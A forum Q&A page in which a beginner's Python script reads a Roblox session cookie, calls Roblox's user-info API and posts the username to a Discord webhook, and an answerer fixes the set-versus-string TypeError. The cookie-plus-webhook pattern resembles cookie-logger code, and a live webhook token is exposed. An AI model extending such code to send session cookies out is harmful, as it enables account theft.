TypeError: Object of type set is not JSON serializable?

Question:

Ive look at a lot of forums about this , but it just doesnt make sense , im starting to code in python and all these big words are just not making sense to me , so if anyone could help me , i would be very grateful , so anyways on to the problem

import requests, os
from discord_webhook import DiscordWebhook, DiscordEmbed


cookie = input('type ya roblo cookie :')
ccheck = requests.get("https://www.roblox.com/mobileapi/userinfo", cookies={".ROBLOSECURITY": cookie}).json()
username = str(ccheck["UserName"])

webhook = DiscordWebhook(url='https://discord.com/api/webhooks/998375746894581842/eXrz9ow5FrPMfWY76D6xIqoQI-410H4UsLUzGjRITcNHW0NEjTfPD-JBgjy88FoSxMgA', content={username})
response = webhook.execute()

So im trying get info from an api from roblox , just like very simple , but i have no idea
what im doing wrong to bring TypeError: Object of type set is not JSON serializable
This is working on all my other programs up to a few days ago i feel like , idk if its a me problem or roblox problem , or a discord_webhook problem , thanks for anything !
Full error log here
https://hastebin.com/isawoyepon.sql

Asked By: Scooby

||

Answers:

Based on your error, I think that the problem is in this line:

"C:UsersjonatDocumentsWIP ProgramsDiscordViperDThelprobloxocookie.py", line 10

If we check the library code we can find, that the DiscordWebhook can take an argument content wich can be only string, bytes, or None (this is an optional argument).
content: Optional[Union[str, bytes]] docs

In your code you pass the set content={username} with one element, string value for username

You should try to change your code by removing the brackets outside the username in the content assignment. For example:

webhook = DiscordWebhook(
url='https://discord.com/api/webhooks/998375746894581842/eXrz9ow5FrPMfWY76D6xIqoQI-410H4UsLUzGjRITcNHW0NEjTfPD-JBgjy88FoSxMgA',
content=username
)
Answered By: JacekK
Categories: questions Tags: , ,
Answers are sorted by their score. The answer accepted by the question owner as the best is marked with
at the top-right corner.